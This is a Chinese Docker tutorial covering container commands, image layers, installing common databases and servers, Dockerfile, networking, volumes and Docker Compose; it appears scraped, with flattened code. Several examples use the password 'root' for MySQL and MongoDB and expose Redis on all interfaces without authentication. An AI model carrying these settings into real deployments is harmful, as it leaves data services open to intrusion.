1.安装完成辅助命令 docker version\t--------------------------\t查看docker的信息 docker info --------------------------\t查看更详细的信息 docker --help\t--------------------------\t帮助命令 8.2 Images 镜像命令12345678910111213141516# 1.查看本机中所有镜像\tdocker images\t--------------------------\t列出本地所有镜像\t-a 列出所有镜像(包含中间映像层) -q 只显示镜像id# 2.搜索镜像\tdocker search [options] 镜像名\t-------------------\t去dockerhub上查询当前镜像\t-s 指定值 列出收藏数不少于指定值的镜像 --no-trunc 显示完整的镜像信息# 3.从仓库下载镜像\tdocker pull 镜像名[:TAG|@DIGEST]\t----------------- 下载镜像# 4.删除镜像\tdocker rmi 镜像名/镜像ID\t-------------------------- 删除镜像 -f 强制删除 8.3 Contrainer 容器命令1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859# 1.运行容器\tdocker run 镜像名\t--------------------------\t镜像名新建并启动容器 --name 别名为容器起一个名字 -d 启动守护式容器(在后台启动容器) -p 映射端口号:原始端口号 指定端口号启动\t例:docker run -it --name myTomcat -p 8888:8080 tomcat docker run -d --name myTomcat -P tomcat# 2.查看运行的容器\tdocker ps --------------------------\t列出所有正在运行的容器\t-a 正在运行的和历史运行过的容器\t-q 静默模式,只显示容器编号# 3.停止|关闭|重启容器\tdocker start 容器名字或者容器id --------------- 开启容器\tdocker restart 容器名或者容器id --------------- 重启容器\tdocker stop 容器名或者容器id ------------------ 正常停止容器运行\tdocker kill 容器名或者容器id ------------------ 立即停止容器运行# 4.删除容器\tdocker rm -f 容器id和容器名 docker rm -f $(docker ps -aq) --------------------------\t删除所有容器# 5.查看容器内进程\tdocker top 容器id或者容器名 ------------------ 查看容器内的进程# 6.查看查看容器内部细节\tdocker inspect 容器id ------------------ 查看容器内部细节# 7.查看容器的运行日志\tdocker logs [OPTIONS] 容器id或容器名\t------------------ 查看容器日志 -t 加入时间戳 -f 跟随最新的日志打印 --tail 数字\t显示最后多少条# 8.进入容器内部\tdocker exec [options] 容器id 容器内命令 ------------------ 进入容器执行命令\t-i 以交互模式运行容器,通常与-t一起使用 -t 分配一个伪终端 shell窗口 bash # 9.容器和宿主机之间复制文件\tdocker cp 文件|目录 容器id:容器路径 ----------------- 将宿主机复制到容器内部\tdocker cp 容器id:容器内资源路径 宿主机目录路径 ----------------- 将容器内资源拷贝到主机上# 10.数据卷(volum)实现与宿主机共享目录\tdocker run -v 宿主机的路径|任意别名:/容器内的路径 镜像名\t注意: 1.如果是宿主机路径必须是绝对路径,宿主机目录会覆盖容器内目录内容 2.如果是别名则会在docker运行容器时自动在宿主机中创建一个目录,并将容器目录文件复制到宿主机中# 11.打包镜像 docker save 镜像名 -o 名称.tar# 12.载入镜像 docker load -i 名称.tar# 13.容器打包成新的镜像 docker commit -m "描述信息" -a "作者信息" (容器id或者名称)打包的镜像名称:标签 9.docker的镜像原理9.1 镜像是什么? 镜像是一种轻量级的,可执行的独立软件包,用来打包软件运行环境和基于运行环境开发的软件,它包含运行某个软件所需的所有内容,包括代码、运行时所需的库、环境变量和配置文件. 9.2 为什么一个镜像会那么大? 镜像就是花卷 UnionFS(联合文件系统):Union文件系统是一种分层,轻量级并且高性能的文件系统,它支持对文件系统的修改作为一次提交来一层层的叠加,同时可以将不同目录挂载到同一个虚拟文件系统下.Union文件系统是Docker镜像的基础.这种文件系统特性:就是一次同时加载多个文件系统,但从外面看起来,只能看到一个文件系统,联合加载会把各层文件系统叠加起来,这样最终的文件系统会包含所有底层的文件和目录 . 9.3 Docker镜像原理 docker的镜像实际是由一层一层的文件系统组成. bootfs(boot file system)主要包含bootloader和kernel,bootloader主要是引导加载kernel,Linux刚启动时会加载bootfs文件系统.在docker镜像的最底层就是bootfs.这一层与Linux/Unix 系统是一样的,包含boot加载器(bootloader)和内核(kernel).当boot加载完,后整个内核就都在内存中了,此时内存的使用权已由bootfs转交给内核,此时会卸载bootfs. rootfs(root file system),在bootfs之上,包含的就是典型的linux系统中的/dev,/proc,/bin,/etc等标准的目录和文件.rootfs就是各种不同的操作系统发行版,比如Ubuntu/CentOS等等. 我们平时安装进虚拟机的centos都有1到几个GB,为什么docker这里才200MB?对于一个精简的OS,rootfs可以很小,只需要包括最基本的命令,工具,和程序库就可以了,因为底层直接使用Host的Kernal,自己只需要提供rootfs就行了.由此可见不同的linux发行版,他们的bootfs是一致的,rootfs会有差别.因此不同的发行版可以共用bootfs. 9.4 为什么docker镜像要采用这种分层结构呢? 最大的一个好处就是资源共享 比如:有多个镜像都是从相同的base镜像构建而来的,那么宿主机只需在磁盘中保存一份base镜像.同时内存中也只需要加载一份base镜像,就可以为所有容器服务了.而且镜像的每一层都可以被共享.Docker镜像都是只读的.当容器启动时,一个新的可写层被加载到镜像的顶部.这一层通常被称为容器层,容器层之下都叫镜像层. 10.Docker安装常用服务10.1 安装Mysql数据库12345678910111213141516171819202122232425262728# 1.拉取mysql镜像到本地\tdocker pull mysql:tag (tag不加默认最新版本)\t# 2.运行mysql服务\tdocker run --name mysql -e MYSQL_ROOT_PASSWORD=root -d mysql:tag --没有暴露外部端口外部不能连接\tdocker run --name mysql -e MYSQL_ROOT_PASSWORD=root -p 3306:3306 -d mysql:tag --没有暴露外部端口# 3.进入mysql容器\tdocker exec -it 容器名称|容器id bash# 4.外部查看mysql日志\tdocker logs 容器名称|容器id# 5.使用自定义配置参数\tdocker run --name mysql -v /root/mysql/conf.d:/etc/mysql/conf.d -e MYSQL_ROOT_PASSWORD=root -d mysql:tag# 6.将容器数据位置与宿主机位置挂载保证数据安全\tdocker run --name mysql -v /root/mysql/data:/var/lib/mysql -v /root/mysql/conf.d:/etc/mysql/conf.d -e MYSQL_ROOT_PASSWORD=root -p 3306:3306 -d mysql:tag# 7.通过其他客户端访问 如在window系统|macos系统使用客户端工具访问\t# 8.将mysql数据库备份为sql文件\tdocker exec mysql|容器id sh -c 'exec mysqldump --all-databases -uroot -p"$MYSQL_ROOT_PASSWORD"' > /root/all-databases.sql --导出全部数据\tdocker exec mysql sh -c 'exec mysqldump --databases 库表 -uroot -p"$MYSQL_ROOT_PASSWORD"' > /root/all-databases.sql --导出指定库数据\tdocker exec mysql sh -c 'exec mysqldump --no-data --databases 库表 -uroot -p"$MYSQL_ROOT_PASSWORD"' > /root/all-databases.sql --导出指定库数据不要数据# 9.执行sql文件到mysql中\tdocker exec -i mysql sh -c 'exec mysql -uroot -p"$MYSQL_ROOT_PASSWORD"' < /root/xxx.sql 10.2 安装Redis服务12345678910111213141516171819202122232425262728# 1.在docker hub搜索redis镜像\tdocker search redis# 2.拉取redis镜像到本地\tdocker pull redis# 3.启动redis服务运行容器\tdocker run --name redis -d redis:tag (没有暴露外部端口)\tdocker run --name redis -p 6379:6379 -d redis:tag (暴露外部宿主机端口为6379进行连接) # 4.查看启动日志\tdocker logs -t -f 容器id|容器名称# 5.进入容器内部查看\tdocker exec -it 容器id|名称 bash # 6.加载外部自定义配置启动redis容器\t默认情况下redis官方镜像中没有redis.conf配置文件 需要去官网下载指定版本的配置文件\t1. wget http://download.redis.io/releases/redis-5.0.8.tar.gz 下载官方安装包\t2. 将官方安装包中配置文件进行复制到宿主机指定目录中如 /root/redis/redis.conf文件\t3. 修改需要自定义的配置 bind 0.0.0.0 开启远程权限 appenonly yes 开启aof持久化\t4. 加载配置启动\tdocker run --name redis -v /root/redis:/usr/local/etc/redis -p 6379:6379 -d redis redis-server /usr/local/etc/redis/redis.conf # 7.将数据目录挂在到本地保证数据安全\tdocker run --name redis -v /root/redis/data:/data -v /root/redis/redis.conf:/usr/local/etc/redis/redis.conf -p 6379:6379 -d redis redis-server /usr/local/etc/redis/redis.conf 10.3 安装Nginx123456789101112131415161718192021222324252627# 1.在docker hub搜索nginx\tdocker search nginx# 2.拉取nginx镜像到本地\t[root@localhost ~]# docker pull nginx Using default tag: latest latest: Pulling from library/nginx afb6ec6fdc1c: Pull complete b90c53a0b692: Pull complete 11fa52a0fdc0: Pull complete Digest: sha256:30dfa439718a17baafefadf16c5e7c9d0a1cde97b4fd84f63b69e13513be7097 Status: Downloaded newer image for nginx:latest docker.io/library/nginx:latest# 3.启动nginx容器 docker run -p 80:80 --name nginx01 -d nginx# 4.进入容器 docker exec -it nginx01 /bin/bash 查找目录: whereis nginx 配置文件: /etc/nginx/nginx.conf# 5.复制配置文件到宿主机 docker cp nginx01(容器id|容器名称):/etc/nginx/nginx.conf 宿主机名录# 6.挂在nginx配置以及html到宿主机外部 docker run --name nginx02 -v /root/nginx/nginx.conf:/etc/nginx/nginx.conf -v /root/nginx/html:/usr/share/nginx/html -p 80:80 -d nginx 10.4 安装Tomcat1234567891011121314# 1.在docker hub搜索tomcat\tdocker search tomcat# 2.下载tomcat镜像\tdocker pull tomcat# 3.运行tomcat镜像\tdocker run -p 8080:8080 -d --name mytomcat tomcat# 4.进入tomcat容器\tdocker exec -it mytomcat /bin/bash# 5.将webapps目录挂载在外部\tdocker run -p 8080:8080 -v /root/webapps:/usr/local/tomcat/webapps -d --name mytomcat tomcat 10.5 安装MongoDB数据库12345678910111213141516171819# 1.运行mongDB\tdocker run -d -p 27017:27017 --name mymongo mongo ---无须权限\tdocker logs -f mymongo --查看mongo运行日志# 2.进入mongodb容器\tdocker exec -it mymongo /bin/bash 直接执行mongo命令进行操作# 3.常见具有权限的容器\tdocker run --name mymongo -p 27017:27017 -d mongo --auth# 4.进入容器配置用户名密码\tmongo\tuse admin 选择admin库\tdb.createUser({user:"root",pwd:"root",roles:[{role:'root',db:'admin'}]}) //创建用户,此用户创建成功,则后续操作都需要用户认证\texit# 5.将mongoDB中数据目录映射到宿主机中\tdocker run -d -p 27017:27017 -v /root/mongo/data:/data/db --name mymongo mongo 10.6 安装ElasticSearch 注意:调高JVM线程数限制数量 0.拉取镜像运行elasticsearch123456# 1.dockerhub 拉取镜像\tdocker pull elasticsearch:6.4.2# 2.查看docker镜像\tdocker images# 3.运行docker镜像\tdocker run -p 9200:9200 -p 9300:9300 elasticsearch:6.4.2 启动出现如下错误: 1. 预先配置12345678# 1.在centos虚拟机中,修改配置sysctl.conf\tvim /etc/sysctl.conf# 2.加入如下配置\tvm.max_map_count=262144 # 3.启用配置\tsysctl -p\t注:这一步是为了防止启动容器时,报出如下错误:\tbootstrap checks failed max virtual memory areas vm.max_map_count [65530] likely too low, increase to at least [262144] 2.启动EleasticSearch容器1234# 0.复制容器中data目录到宿主机中\tdocker cp 容器id:/usr/share/share/elasticsearch/data /root/es# 1.运行ES容器 指定jvm内存大小并指定ik分词器位置\tdocker run -d --name es -p 9200:9200 -p 9300:9300 -e ES_JAVA_OPTS="-Xms128m -Xmx128m" -v /root/es/plugins:/usr/share/elasticsearch/plugins -v /root/es/data:/usr/share/elasticsearch/data elasticsearch:6.4.2 3.安装IK分词器123456789101112131415161718192021222324252627# 1.下载对应版本的IK分词器\twget https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v6.4.2/elasticsearch-analysis-ik-6.4.2.zip# 2.解压到plugins文件夹中\tyum install -y unzip\tunzip -d ik elasticsearch-analysis-ik-6.4.2.zip# 3.添加自定义扩展词和停用词\tcd plugins/elasticsearch/config\tvim IKAnalyzer.cfg.xml\t<properties> <comment>IK Analyzer 扩展配置</comment> <!--用户可以在这里配置自己的扩展字典 --> <entry key="ext_dict">ext_dict.dic</entry> <!--用户可以在这里配置自己的扩展停止词字典--> <entry key="ext_stopwords">ext_stopwords.dic</entry>\t</properties># 4.在ik分词器目录下config目录中创建ext_dict.dic文件 编码一定要为UTF-8才能生效\tvim ext_dict.dic 加入扩展词即可# 5. 在ik分词器目录下config目录中创建ext_stopword.dic文件 vim ext_stopwords.dic 加入停用词即可# 6.重启容器生效\tdocker restart 容器id# 7.将此容器提交成为一个新的镜像\tdocker commit -a="xiaochen" -m="es with IKAnalyzer" 容器id xiaochen/elasticsearch:6.4.2 4. 安装Kibana12345# 1.下载kibana镜像到本地\tdocker pull kibana:6.4.2# 2.启动kibana容器\tdocker run -d --name kibana -e ELASTICSEARCH_URL=http://10.15.0.3:9200 -p 5601:5601 kibana:6.4.2 11.Dockerfile11.1 什么是DockerfileDockerfile可以认为是Docker镜像的描述文件,是由一系列命令和参数构成的脚本.主要作用是用来构建docker镜像的构建文件. 通过架构图可以看出通过DockerFile可以直接构建镜像 11.2 Dockerfile解析过程 11.3 Dockerfile的保留命令https://docs.docker.com/engine/reference/builder/https://docs.docker.com/engine/reference/builder/ 保留字 作用 FROM 指定基础镜像,必须是Dockerfile的第一个指令 MAINTAINER 镜像维护者的姓名和邮箱地址(已被LABEL指令替代) RUN 运行命令,用于安装包或执行配置命令 EXPOSE 声明容器运行时监听的端口号 WORKDIR 设置工作目录,即容器内部的当前目录 ENV 设置环境变量,供后续的RUN指令使用,也可以在容器运行时提供默认值 ADD 复制文件或目录到镜像中,并且可以处理URL和自动解压tar包 COPY 复制文件或目录到镜像中.优先使用COPY,因为它比ADD更透明 VOLUME 创建一个挂载点,用于持久化和共享数据 CMD 容器启动时运行的命令.如果有多个CMD指令,只有最后一个会生效 ENTRYPOINT 配置容器启动时运行的命令,可与CMD联合使用,以参数形式调用 11.3.1 FROM 命令 基于那个镜像进行构建新的镜像,在构建时会自动从docker hub拉取base镜像 必须作为Dockerfile的第一个指令出现 语法: 123FROM <image>FROM <image>[:<tag>] 使用版本不写为latestFROM <image>[@<digest>] 使用摘要 11.3.2 MAINTAINER 命令 镜像维护者的姓名和邮箱地址[废弃] 语法: 1MAINTAINER <name> 11.3.3 RUN 命令 RUN指令将在当前映像之上的新层中执行任何命令并提交结果.生成的提交映像将用于Dockerfile中的下一步 语法: 12345RUN <command> (shell form, the command is run in a shell, which by default is /bin/sh -c on Linux or cmd /S /C on Windows)RUN echo helloRUN ["executable", "param1", "param2"] (exec form)RUN ["/bin/bash", "-c", "echo hello"] 11.3.4 EXPOSE 命令 用来指定构建的镜像在运行为容器时对外暴露的端口 语法: 12EXPOSE 80/tcp 如果没有显示指定则默认暴露都是tcpEXPOSE 80/udp 11.3.5 CMD 命令 用来为启动的容器指定执行的命令,在Dockerfile中只能有一条CMD指令.如果列出多个命令,则只有最后一个命令才会生效. 注意: Dockerfile中只能有一条CMD指令.如果列出多个命令,则只有最后一个命令才会生效. 语法: 123CMD ["executable","param1","param2"] (exec form, this is the preferred form)CMD ["param1","param2"] (as default parameters to ENTRYPOINT)CMD command param1 param2 (shell form) 11.3.6 WORKDIR 命令 用来为Dockerfile中的任何RUN、CMD、ENTRYPOINT、COPY和ADD指令设置工作目录.如果WORKDIR不存在,即使它没有在任何后续Dockerfile指令中使用,它也将被创建. 语法: 123456WORKDIR /path/to/workdirWORKDIR /aWORKDIR bWORKDIR c`注意:WORKDIR指令可以在Dockerfile中多次使用.如果提供了相对路径,则该路径将与先前WORKDIR指令的路径相对` 11.3.7 ENV 命令 用来为构建镜像设置环境变量.这个值将出现在构建阶段中所有后续指令的环境中. 语法: 12ENV <key> <value>ENV <key>=<value> ... 11.3.8 ADD 命令 用来从context上下文复制新文件、目录或远程文件url,并将它们添加到位于指定路径的映像文件系统中. 语法: 12345ADD hom* /mydir/ 通配符添加多个文件ADD hom?.txt /mydir/ 通配符添加ADD test.txt relativeDir/ 可以指定相对路径ADD test.txt /absoluteDir/ 也可以指定绝对路径ADD url 11.3.9 COPY 命令 用来将context目录中指定文件复制到镜像的指定目录中 语法: 12COPY src destCOPY ["<src>",... "<dest>"] 11.3.10 VOLUME 命令 用来定义容器运行时可以挂在到宿主机的目录 语法: 1VOLUME ["/data"] 11.3.11 ENTRYPOINT命令 用来指定容器启动时执行命令和CMD类似 语法: 12 ["executable", "param1", "param2"]ENTRYPOINT command param1 param2 ENTRYPOINT指令,往往用于设置容器启动后的第一个命令,这对一个容器来说往往是固定的.CMD指令,往往用于设置容器启动的第一个命令的默认参数,这对一个容器来说可以是变化的. 12.高级网络配置12.1 说明 ​\t当 Docker 启动时,会自动在主机上创建一个 docker0 虚拟网桥,实际上是 Linux 的一个 bridge,可以理解为一个软件交换机. ​\t它会在挂载到它的网口之间进行转发. 同时,Docker 随机分配一个本地未占用的私有网段(在 RFC1918 中定义)中的一个地址给 docker0 接口. ​\t比如典型的 172.17.42.1,掩码为 255.255.0.0.此后启动的容器内的网口也会自动分配一个同一网段(172.17.0.0/16)的地址. ​\t当创建一个 Docker 容器的时候,同时会创建了一对 veth pair 接口(当数据包发送到一个接口时,另外一个接口也可以收到相同的数据包). ​\t这对接口一端在容器内,即 eth0;另一端在本地并被挂载到 docker0 网桥,名称以 veth 开头(例如 vethAQI2QT). ​\t通过这种方式,主机可以跟容器通信,容器之间也可以相互通信.Docker 就创建了在主机和所有容器之间一个虚拟共享网络. 12.2 查看网络信息1# docker network ls 12.3 创建一个网桥1# docker network create -d bridge 网桥名称 12.4 删除一个网桥1# docker network rm 网桥名称 12.5 容器之前使用网络通信12# 1.查询当前网络配置- docker network ls 1234NETWORK ID NAME DRIVER SCOPE8e424e5936b7 bridge bridge local17d974db02da docker_gwbridge bridge locald6c326e433f7 host host local 12# 2.创建桥接网络- docker network create -d bridge info 12345678[root@centos ~]# docker network create -d bridge info6e4aaebff79b1df43a064e0e8fdab08f52d64ce34db78dd5184ce7aaaf550a2f[root@centos ~]# docker network lsNETWORK ID NAME DRIVER SCOPE8e424e5936b7 bridge bridge local17d974db02da docker_gwbridge bridge locald6c326e433f7 host host local6e4aaebff79b info bridge local 1234# 3.启动容器指定使用网桥- docker run -d -p 8890:80 --name nginx001 --network info nginx - docker run -d -p 8891:80 --name nginx002 --network info nginx `注意:一旦指定网桥后--name指定名字就是主机名,多个容器指定在同一个网桥时,可以在任意一个容器中使用主机名与容器进行互通` 12345678910111213141516[root@centos ~]# docker run -d -p 8890:80 --name nginx001 --network info nginx c315bcc94e9ddaa36eb6c6f16ca51592b1ac8bf1ecfe9d8f01d892f3f10825fe[root@centos ~]# docker run -d -p 8891:80 --name nginx002 --network info nginxf8682db35dd7fb4395f90edb38df7cad71bbfaba71b6a4c6e2a3a525cb73c2a5[root@centos ~]# docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMESf8682db35dd7 nginx "/docker-entrypoint...." 3 seconds ago Up 2 seconds 0.0.0.0:8891->80/tcp nginx002c315bcc94e9d nginx "/docker-entrypoint...." 7 minutes ago Up 7 minutes 0.0.0.0:8890->80/tcp nginx001b63169d43792 mysql:5.7.19 "docker-entrypoint.s..." 7 minutes ago Up 7 minutes 3306/tcp mysql_mysql.1.s75qe5kkpwwttyf0wrjvd2cda[root@centos ~]# docker exec -it f8682db35dd7 /bin/bashroot@f8682db35dd7:/# curl http://nginx001<!DOCTYPE html><html><head><title>Welcome to nginx!</title>..... 13.高级数据卷配置13.1 说明数据卷 是一个可供一个或多个容器使用的特殊目录,它绕过 UFS,可以提供很多有用的特性: 数据卷 可以在容器之间共享和重用 对 数据卷 的修改会立马生效 对 数据卷 的更新,不会影响镜像 数据卷 默认会一直存在,即使容器被删除 注意:数据卷 的使用,类似于 Linux 下对目录或文件进行 mount,镜像中的被指定为挂载点的目录中的文件会复制到数据卷中(仅数据卷为空时会复制). 13.2 创建数据卷12[root@centos ~]# docker volume create my-volmy-vol 13.3 查看数据卷123456789101112[root@centos ~]# docker volume inspect my-vol [ { "CreatedAt": "2020-11-25T11:43:56+08:00", "Driver": "local", "Labels": {}, "Mountpoint": "/var/lib/docker/volumes/my-vol/_data", "Name": "my-vol", "Options": {}, "Scope": "local" }] 13.4 挂载数据卷1234567891011121314[root@centos ~]# docker run -d -P --name web -v my-vol:/usr/share/nginx/html nginx[root@centos ~]# docker inspect web "Mounts": [ { "Type": "volume", "Name": "my-vol", "Source": "/var/lib/docker/volumes/my-vol/_data", "Destination": "/usr/share/nginx/html", "Driver": "local", "Mode": "z", "RW": true, "Propagation": "" } ], 13.5 删除数据卷1docker volume rm my-vol 14.Docker Compose14.1 简介 ​\tDocker Compose 是 Docker 的官方工具,用于定义和管理多容器 Docker 应用程序.与 OpenStack 的 Heat 功能相似,它允许用户使用 YAML 文件快速部署和协调一群容器的工作.用户可以在一个 docker-compose.yml 文件中配置所有服务,然后只需一个命令就能启动或停止所有服务.这对于需要多个服务协同工作的复杂应用来说非常有用,例如结合 Web 服务器、数据库和负载均衡器的应用.项目源代码托管在 GitHub 上. Compose 中有两个重要的概念: 服务 (service):一个应用的容器,实际上可以包括若干运行相同镜像的容器实例. 项目 (project):由一组关联的应用容器组成的一个完整业务单元,在 docker-compose.yml 文件中定义. Compose 的默认管理对象是项目,通过子命令对项目中的一组容器进行便捷地生命周期管理. Compose 项目由 Python 编写,实现上调用了 Docker 服务提供的 API 来对容器进行管理.因此,只要所操作的平台支持 Docker API,就可以在其上利用 Compose 来进行编排管理. 14.2 安装与卸载1.linux 在 Linux 上的也安装十分简单,从 官方 GitHub Release 处直接下载编译好的二进制文件即可.例如,在 Linux 64 位系统上直接下载对应的二进制包. 1234567# 方式1: 你的虚拟机可以访问GitHubsudo curl -L https://github.com/docker/compose/releases/download/1.25.5/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose# 方式2:echo https://github.com/docker/compose/releases/download/1.25.5/docker-compose-`uname -s`-`uname -m`# 复制链接到主机上用Chrome下载scp docker-compose-Linux-x86_64 root@192.168.64.252:/usr/local/bin/docker-composesudo chmod +x /usr/local/bin/docker-compose 2.macos、window Compose 可以通过 Python 的包管理工具 pip 进行安装,也可以直接下载编译好的二进制文件使用,甚至能够直接在 Docker 容器中运行.Docker Desktop for Mac/Windows 自带 docker-compose 二进制文件,安装 Docker 之后可以直接使用. 3.bash命令补全1curl -L https://raw.githubusercontent.com/docker/compose/1.25.5/contrib/completion/bash/docker-compose > /etc/bash_completion.d/docker-compose 4.卸载 如果是二进制包方式安装的,删除二进制文件即可. 1sudo rm /usr/local/bin/docker-compose 5.测试安装成功12docker-compose --version docker-compose version 1.25.5, build 4667896b 14.3 docker compose使用场景最常见的项目是 web 网站,该项目应该包含 web 应用和缓存. springboot应用 mysql服务 redis服务 elasticsearch服务 ……. docker-compose模板https://vuepress.mirror.docker-practice.com/https://vuepress.mirror.docker-practice.com/ 12345678910111213141516171819202122232425262728293031version: "3.0"services: mysqldb: image: mysql:5.7.19 container_name: mysql ports: - "3306:3306" volumes: - /root/mysql/conf:/etc/mysql/conf.d - /root/mysql/logs:/logs - /root/mysql/data:/var/lib/mysql environment: MYSQL_ROOT_PASSWORD: root networks: - ems depends_on: - redis redis: image: redis:4.0.14 container_name: redis ports: - "6379:6379" networks: - ems volumes: - /root/redis/data:/data command: redis-server networks: ems: 通过docker-compose运行一组容器https://vuepress.mirror.docker-practice.com/container/run/https://vuepress.mirror.docker-practice.com/container/run/ 12[root@centos ~]# docker-compose up //前台启动一组服务[root@centos ~]# docker-compose up -d //后台启动一组服务 14.4 docker-compose 模板文件模板文件是使用 Compose 的核心,涉及到的指令关键字也比较多.但大家不用担心,这里面大部分指令跟 docker run 相关参数的含义都是类似的. 默认的模板文件名称为 docker-compose.yml,格式为 YAML 格式. 123456789version: "3"services: webapp: image: examples/web ports: - "80:80" volumes: - "/data" 注意每个服务都必须通过 image 指令指定镜像或 build 指令(需要 Dockerfile)等来自动构建生成镜像. 如果使用 build 指令,在 Dockerfile 中设置的选项(例如:CMD, EXPOSE, VOLUME, ENV 等) 将会自动被获取,无需在 docker-compose.yml 中重复设置. 下面分别介绍各个指令的用法. build指定 Dockerfile 所在文件夹的路径(可以是绝对路径,或者相对 docker-compose.yml 文件的路径). Compose 将会利用它自动构建这个镜像,然后使用这个镜像. 12345version: '3'services: webapp: build: ./dir 你也可以使用 context 指令指定 Dockerfile 所在文件夹的路径. 使用 dockerfile 指令指定 Dockerfile 文件名. 使用 arg 指令指定构建镜像时的变量. 123456789version: '3'services: webapp: build: context: ./dir dockerfile: Dockerfile-alternate args: buildno: 1 command覆盖容器启动后默认执行的命令. 1command: echo "hello world" container_name指定容器名称.默认将会使用 项目名称_服务名称_序号 这样的格式. 1container_name: docker-web-container 注意: 指定容器名称后,该服务将无法进行扩展(scale),因为 Docker 不允许多个容器具有相同的名称. depends_on解决容器的依赖、启动先后的问题.以下例子中会先启动 redis db 再启动 web 1234567891011121314version: '3'services: web: build: . depends_on: - db - redis redis: image: redis db: image: postgres 注意:web 服务不会等待 redis db 「完全启动」之后才启动. env_file从文件中获取环境变量,可以为单独的文件路径或列表. 如果通过 docker-compose -f FILE 方式来指定 Compose 模板文件,则 env_file 中变量的路径会基于模板文件路径. 如果有变量名称与 environment 指令冲突,则按照惯例,以后者为准. 123456env_file: .envenv_file: - ./common.env - ./apps/web.env - /opt/secrets.env 环境变量文件中每一行必须符合格式,支持 # 开头的注释行. 12# common.env: Set development environmentPROG_ENV=development environment设置环境变量.你可以使用数组或字典两种格式. 只给定名称的变量会自动获取运行 Compose 主机上对应变量的值,可以用来防止泄露不必要的数据. 1234567environment: RACK_ENV: development SESSION_SECRET:environment: - RACK_ENV=development - SESSION_SECRET 如果变量名称或者值中用到 true|false,yes|no 等表达 布尔 含义的词汇,最好放到引号里,避免 YAML 自动解析某些内容为对应的布尔语义.这些特定词汇,包括 1y|Y|yes|Yes|YES|n|N|no|No|NO|true|True|TRUE|false|False|FALSE|on|On|ON|off|Off|OFF healthcheck通过命令检查容器是否健康运行. 12345healthcheck: test: ["CMD", "curl", "-f", "http://localhost"] interval: 1m30s timeout: 10s retries: 3 image指定为镜像名称或镜像 ID.如果镜像在本地不存在,Compose 将会尝试拉取这个镜像. 123image: ubuntuimage: orchardup/postgresqlimage: a4bc65fd networks配置容器连接的网络. 1234567891011version: "3"services: some-service: networks: - some-network - other-networknetworks: some-network: other-network: ports暴露端口信息. 使用宿主端口:容器端口 (HOST:CONTAINER) 格式,或者仅仅指定容器的端口(宿主将会随机选择端口)都可以. 12345ports: - "3000" - "8000:8000" - "49100:22" - "127.0.0.1:8001:8001" 注意:当使用 _HOST:CONTAINER_ 格式来映射端口时,如果你使用的容器端口小于 60 并且没放到引号里,可能会得到错误结果,因为 _YAML_ 会自动解析 _xx:yy_ 这种数字格式为 60 进制.为避免出现这种问题,建议数字串都采用引号包括起来的字符串格式. sysctls配置容器内核参数. 1234567sysctls: net.core.somaxconn: 1024 net.ipv4.tcp_syncookies: 0sysctls: - net.core.somaxconn=1024 - net.ipv4.tcp_syncookies=0 ulimits指定容器的 ulimits 限制值. 例如,指定最大进程数为 65535,指定文件句柄数为 20000(软限制,应用可以随时修改,不能超过硬限制) 和 40000(系统硬限制,只能 root 用户提高). 12345ulimits: nproc: 65535 nofile: soft: 20000 hard: 40000 volumes数据卷所挂载路径设置.可以设置为宿主机路径(HOST:CONTAINER)或者数据卷名称(VOLUME:CONTAINER),并且可以设置访问模式 (HOST:CONTAINER:ro). 该指令中路径支持相对路径. 1234volumes: - /var/lib/mysql - cache/:/tmp/cache - ~/configs:/etc/configs/:ro 如果路径为数据卷名称,必须在文件中配置数据卷. 12345678910version: "3"services: my_src: image: mysql:8.0 volumes: - mysql_data:/var/lib/mysqlvolumes: mysql_data: 14.5 docker-compose 常用命令1. 命令对象与格式对于 Compose 来说,大部分命令的对象既可以是项目本身,也可以指定为项目中的服务或者容器.如果没有特别的说明,命令对象将是项目,这意味着项目中所有的服务都会受到命令影响. 执行 docker-compose [COMMAND] --help 或者 docker-compose help [COMMAND] 可以查看具体某个命令的使用格式. docker-compose 命令的基本的使用格式是 1docker-compose [-f=<arg>...] [options] [COMMAND] [ARGS...] 2. 命令选项 -f, --file FILE 指定使用的 Compose 模板文件,默认为 docker-compose.yml,可以多次指定. -p, --project-name NAME 指定项目名称,默认将使用所在目录名称作为项目名. --x-networking 使用 Docker 的可拔插网络后端特性 --x-network-driver DRIVER 指定网络后端的驱动,默认为 bridge --verbose 输出更多调试信息. -v, --version 打印版本并退出. 3.命令使用说明up格式为 docker-compose up [options] [SERVICE...]. 该命令十分强大,它将尝试自动完成包括构建镜像,(重新)创建服务,启动服务,并关联服务相关容器的一系列操作. 链接的服务都将会被自动启动,除非已经处于运行状态. 可以说,大部分时候都可以直接通过该命令来启动一个项目. 默认情况,docker-compose up 启动的容器都在前台,控制台将会同时打印所有容器的输出信息,可以很方便进行调试. 当通过 Ctrl-C 停止命令时,所有容器将会停止. 如果使用 docker-compose up -d,将会在后台启动并运行所有的容器.一般推荐生产环境下使用该选项. 默认情况,如果服务容器已经存在,docker-compose up 将会尝试停止容器,然后重新创建(保持使用 volumes-from 挂载的卷),以保证新启动的服务匹配 docker-compose.yml 文件的最新内容 down 此命令将会停止 up 命令所启动的容器,并移除网络 exec 进入指定的容器. ps格式为 docker-compose ps [options] [SERVICE...]. 列出项目中目前的所有容器. 选项: -q 只打印容器的 ID 信息. restart格式为 docker-compose restart [options] [SERVICE...]. 重启项目中的服务. 选项: -t, --timeout TIMEOUT 指定重启前停止容器的超时(默认为 10 秒). rm格式为 docker-compose rm [options] [SERVICE...]. 删除所有(停止状态的)服务容器.推荐先执行 docker-compose stop 命令来停止容器. 选项: -f, --force 强制直接删除,包括非停止状态的容器.一般尽量不要使用该选项. -v 删除容器所挂载的数据卷. start格式为 docker-compose start [SERVICE...]. 启动已经存在的服务容器. stop格式为 docker-compose stop [options] [SERVICE...]. 停止已经处于运行状态的容器,但不删除它.通过 docker-compose start 可以再次启动这些容器. 选项: -t, --timeout TIMEOUT 停止容器时候的超时(默认为 10 秒). top查看各个服务容器内运行的进程. unpause格式为 docker-compose unpause [SERVICE...]. 恢复处于暂停状态中的服务.","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"三. 大型分布式k8s集群从入门到精通","path":"/wiki/VirtDocs/三. 大型分布式k8s集群从入门到精通.html","content":"总字符数: 42.50K 代码: 16.25K, 文本: 5.96K 预计阅读时间: 1.61 小时 